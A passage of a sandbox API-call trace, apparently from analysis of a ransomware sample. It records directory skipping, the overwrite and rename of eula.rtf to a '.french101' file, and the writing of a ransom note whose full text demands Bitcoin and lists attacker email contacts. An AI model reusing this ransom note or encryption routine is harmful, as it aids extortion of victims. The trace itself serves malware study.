lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0278.330] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.330] GetLastError () returned 0x2 [0278.330] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0278.330] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.330] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.330] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.330] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.330] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.330] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.330] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.331] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.331] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.331] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.331] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0278.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0278.331] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.331] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0278.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0278.331] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.331] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0278.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0278.331] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.331] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0278.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39330, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0278.331] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.331] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.331] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.331] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.332] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.332] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.332] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.332] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.332] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.332] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0278.332] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0278.332] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0278.332] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0278.332] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0278.332] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0278.333] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0278.333] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0278.333] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0278.333] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.333] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0278.333] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0278.333] SHGetPathFromIDListW (in: pidl=0x6e47e8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0278.333] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0278.333] IMalloc:Free (This=0x75e4d000, pv=0x6e47e8) [0278.333] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0278.334] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0278.334] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.334] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.334] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.334] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.334] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.334] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.334] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.334] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.334] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.334] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0278.334] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.334] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.334] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0278.334] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.335] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.335] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.335] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.335] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.335] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.335] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.335] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.335] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.335] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.335] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0278.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0278.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.336] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.336] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0278.336] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0278.336] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0278.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\я" (normalized: "c:\\588bce7c90097ed212\\1035\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.338] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0278.339] CloseHandle (hObject=0x308) returned 1 [0278.339] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\я" (normalized: "c:\\588bce7c90097ed212\\1035\\я")) returned 1 [0278.341] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0278.341] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0278.341] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0278.341] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0278.341] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", dwFileAttributes=0x20) returned 1 [0278.341] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.341] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.342] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xe76 [0278.342] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.342] SetFilePointer (in: hFile=0x308, lDistanceToMove=3702, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xe76 [0278.342] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0278.487] CloseHandle (hObject=0x308) returned 1 [0278.488] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.488] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.488] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xe77 [0278.488] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.488] SetFilePointer (in: hFile=0x308, lDistanceToMove=3702, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe76 [0278.488] SetEndOfFile (hFile=0x308) returned 1 [0278.490] CloseHandle (hObject=0x308) returned 1 [0278.490] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.491] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.491] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe76 [0278.491] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.491] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.491] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.491] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe76 [0278.492] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.492] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.498] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.498] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0278.498] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.498] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.498] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0278.498] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.498] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0278.498] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0278.498] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.498] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0278.498] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.498] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0278.499] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe76 [0278.499] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0278.499] SetFilePointer (in: hFile=0x308, lDistanceToMove=3702, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xe76 [0278.499] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0278.523] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0278.523] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.523] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.523] CloseHandle (hObject=0x308) returned 1 [0278.578] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\uWOU20Gf4z6kjao3S2KHyA.french101" (normalized: "c:\\588bce7c90097ed212\\1035\\uwou20gf4z6kjao3s2khya.french101")) returned 1 [0278.579] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\uWOU20Gf4z6kjao3S2KHyA.french101" (normalized: "c:\\588bce7c90097ed212\\1035\\uwou20gf4z6kjao3s2khya.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.579] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0278.579] CloseHandle (hObject=0x308) returned 1 [0278.579] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\uWOU20Gf4z6kjao3S2KHyA.french101", dwFileAttributes=0x80) returned 1 [0278.579] CloseHandle (hObject=0x308) returned 0 [0278.580] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.580] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.580] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.580] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.580] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0278.580] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.580] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.580] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0278.580] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.580] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0278.580] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0278.581] GetLastError () returned 0x2 [0278.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1035\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.581] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0278.582] CloseHandle (hObject=0x308) returned 1 [0278.582] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.582] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 